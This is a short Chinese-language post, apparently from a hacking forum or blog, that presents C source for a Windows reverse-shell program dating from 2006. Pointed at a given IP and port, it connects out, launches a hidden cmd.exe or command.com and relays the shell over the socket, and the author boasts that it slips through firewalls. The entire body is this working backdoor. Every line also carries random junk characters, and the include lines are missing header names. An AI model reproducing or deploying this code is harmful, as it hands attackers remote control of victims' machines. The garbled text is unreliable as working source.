Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 cnu&!>8V  
|0n )U(  
/* ============================== @7Ec(]yp  
Rebound port in Windows NT t7f(%/] H0  
By wind,2006/7 }J#HIE\RG  
===============================*/ L/i'6(="  
#include CD&a_-'z$K  
#include !D=!  
Fi i(dmn  
#pragma comment(lib,"wsock32.lib") 0t7N yKU  
c,a8#Og  
void OutputShell(); #Zdh<.   
SOCKET sClient; 3Bl|~K;-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \lbH   
%Psg53N  
void main(int argc,char **argv) 1aAOT6h  
{ %p 6Ms  
WSADATA stWsaData; `i`P}W!F  
int nRet; .RroO_H   
SOCKADDR_IN stSaiClient,stSaiServer; k-~}KlP  
o@)Fy51DD  
if(argc != 3) ?/.])'&b  
{ jwI2T$  
printf("Useage:\n\rRebound DestIP DestPort\n");  .\oz  
return;  zK6w0  
} #(tdJ<HvC|  
wq?"NQ?O<  
WSAStartup(MAKEWORD(2,2),&stWsaData); Vh0cac|X  
y3efie {J  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WO>,=^zPJ  
b$@I(.X:  
stSaiClient.sin_family = AF_INET; tR!C8:u  
stSaiClient.sin_port = htons(0); ^]o H}lwO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \|>%/P  
fM.#FT??  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v~OMm\  
{ G8}owszT  
printf("Bind Socket Failed!\n"); }XUL\6U  
return; N^QxqQ~  
} !$NK7-  
r5gqRh}+  
stSaiServer.sin_family = AF_INET; \`y:#N<c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?l~qb]._  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2D:/.9= 8v  
|Ua);B~F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,=e.QAF!"  
{ E{)X ;kN=  
printf("Connect Error!"); "`;-5dg  
return; ZY<RNwu  
} `
\@n&y[`7  
OutputShell(); 9 m8KDB[N  
} Ys.GBSlHG  
(g@X.*c8  
void OutputShell() @:im/SE  
{ &j~9{ C  
char szBuff[1024]; '9QEG
/v  
SECURITY_ATTRIBUTES stSecurityAttributes; bGwOhd<.  
OSVERSIONINFO stOsversionInfo; U?dad}7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GLIY!BU<C  
STARTUPINFO stStartupInfo; 5BA:^4zr?  
char *szShell; m$C1Ea-wnT  
PROCESS_INFORMATION stProcessInformation; 0to`=;JI  
unsigned long lBytesRead; ;39b.v\^  
#6a!OQj  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J#Q>dC7  
XZN@hXc9:v  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RL&0?OT  
stSecurityAttributes.lpSecurityDescriptor = 0; 1BmKwux:  
stSecurityAttributes.bInheritHandle = TRUE; Y;R,ph.a  
u3Z]!l
 
P$z%:Q  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +8
xT}mX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n;Mk\*Cg  
4IW fp&Q!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vs
TgK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?#a&eW  
stStartupInfo.wShowWindow = SW_HIDE; 7:g_
:}m  
stStartupInfo.hStdInput = hReadPipe; HPu+ 4xQV  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q~#>MB}".  
d
b_Qt'>  
GetVersionEx(&stOsversionInfo); ..Dm@m}  
8a)4>B  
switch(stOsversionInfo.dwPlatformId) I~6(>Z{  
{ ;07$G+['  
case 1: b5MU$}:  
szShell = "command.com"; IG|u;PH<  
break; =^p}JhQ  
default: =p5]r:9W  
szShell = "cmd.exe"; s#<fj#S  
break; UUDbOxD^w  
} 5s\;7>  
dn}EM7:Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G0m$bi=z  
iz;5:  
send(sClient,szMsg,77,0); F3vywN1$,  
while(1) 6|'7Mr~\  
{ ELV~ ayp5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }fk3a9j9u  
if(lBytesRead) ] 7[#K^  
{ )?OdD7gd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UhDf6A`]  
send(sClient,szBuff,lBytesRead,0); Pc&dU1  
} ]#DCO8Vk  
else <V}q8k  
{ 2.</n}g  
lBytesRead=recv(sClient,szBuff,1024,0); \:F$7 *Ne  
if(lBytesRead<=0) break; %}H 2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \:@7)(p\;  
} [z\baL|  
} ^w%%$9=:r  
7bbFUUUG"  
return; ugXDnM[S%  
}